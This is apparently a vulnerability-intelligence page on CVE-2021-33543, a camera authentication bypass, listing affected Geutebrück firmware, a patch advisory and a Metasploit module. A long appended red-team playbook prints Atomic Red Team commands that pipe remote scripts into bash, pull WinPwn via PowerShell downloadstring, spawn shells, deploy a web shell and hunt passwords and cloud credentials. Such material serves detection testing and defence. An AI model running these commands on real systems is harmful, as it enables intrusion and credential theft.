CVE-2021-33543
Overview
This vulnerability is an authentication bypass caused by default user authentication settings that allow unauthenticated remote access. The root cause lies in the lack of enforced authentication mechanisms on affected Geutebrück E2 Series camera devices. The affected component is the device's user authentication system, which fails to restrict access to sensitive files and management interfaces over the network.
Vulnerability Description
Multiple camera devices by UDP Technology, Geutebrück and other vendors allow unauthenticated remote access to sensitive files due to default user authentication settings. This can lead to manipulation of the device and denial of service.
Impact
An attacker with network access can exploit this vulnerability without authentication to retrieve sensitive files, manipulate device settings, and cause denial of service. This can result in unauthorized control over camera operations, data leakage, and disruption of surveillance capabilities. The vulnerability's CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates remote network exploitation with no privileges or user interaction required, amplifying the risk of compromise in exposed environments.
Solution
Geutebrück and UDP Technology recommend updating affected devices to firmware versions that enforce authentication, as detailed in the CISA ICS advisory ICSA-21-208-03. Specific firmware updates include versions later than 1.12.14.5 for g-cam_ebc-2110 and g-cam_ebc_2111 models. Administrators should apply these patches promptly and consult the referenced advisories at https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03 for detailed remediation instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (48)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Geutebrueck | G-Cam Ebc-2110 Firmware | All |
cpe:2.3:o:geutebrueck:g-cam_ebc-2110_firmware:*:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Ebc-2110 Firmware | 1.12.13.2 |
cpe:2.3:o:geutebrueck:g-cam_ebc-2110_firmware:1.12.13.2:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Ebc-2110 Firmware | 1.12.14.5 |
cpe:2.3:o:geutebrueck:g-cam_ebc-2110_firmware:1.12.14.5:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Ebc-2111 Firmware | All |
cpe:2.3:o:geutebrueck:g-cam_ebc-2111_firmware:*:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Ebc-2111 Firmware | 1.12.13.2 |
cpe:2.3:o:geutebrueck:g-cam_ebc-2111_firmware:1.12.13.2:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Ebc-2111 Firmware | 1.12.14.5 |
cpe:2.3:o:geutebrueck:g-cam_ebc-2111_firmware:1.12.14.5:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Efd-2241 Firmware | All |
cpe:2.3:o:geutebrueck:g-cam_efd-2241_firmware:*:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Efd-2241 Firmware | 1.12.13.2 |
cpe:2.3:o:geutebrueck:g-cam_efd-2241_firmware:1.12.13.2:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Efd-2241 Firmware | 1.12.14.5 |
cpe:2.3:o:geutebrueck:g-cam_efd-2241_firmware:1.12.14.5:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Efd-2250 Firmware | All |
cpe:2.3:o:geutebrueck:g-cam_efd-2250_firmware:*:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Efd-2250 Firmware | 1.12.13.2 |
cpe:2.3:o:geutebrueck:g-cam_efd-2250_firmware:1.12.13.2:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Efd-2250 Firmware | 1.12.14.5 |
cpe:2.3:o:geutebrueck:g-cam_efd-2250_firmware:1.12.14.5:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Ethc-2230 Firmware | All |
cpe:2.3:o:geutebrueck:g-cam_ethc-2230_firmware:*:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Ethc-2230 Firmware | 1.12.13.2 |
cpe:2.3:o:geutebrueck:g-cam_ethc-2230_firmware:1.12.13.2:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Ethc-2230 Firmware | 1.12.14.5 |
cpe:2.3:o:geutebrueck:g-cam_ethc-2230_firmware:1.12.14.5:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Ethc-2239 Firmware | All |
cpe:2.3:o:geutebrueck:g-cam_ethc-2239_firmware:*:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Ethc-2239 Firmware | 1.12.13.2 |
cpe:2.3:o:geutebrueck:g-cam_ethc-2239_firmware:1.12.13.2:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Ethc-2239 Firmware | 1.12.14.5 |
cpe:2.3:o:geutebrueck:g-cam_ethc-2239_firmware:1.12.14.5:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Ethc-2240 Firmware | All |
cpe:2.3:o:geutebrueck:g-cam_ethc-2240_firmware:*:*:*:*:*:*:*:*
|
|
|
Geutebrueck | G-Cam Ethc-2240 Firmware | 1.12.13.2 |
cpe:2.3:o:geutebrueck:g-cam_ethc-2240_firmware:1.12.13.2:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Geutebruck Multiple Remote Command Execution
exploits/linux/http/geutebruck_cmdinject_cve_2021_335xx
|
Titouan Lazard, Ibrahim Ayadhi, Sébastien Charbonnier | Unknown | unix, linux | View |
Threat Feed
2 eventsSighting activity recorded
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-33543 |
| randorisec.fr |
GitHub CVE
x_refsource_CONFIRM
|
https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/ |
| us-cert.cisa.gov |
GitHub CVE
x_refsource_CONFIRM
|
https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03 |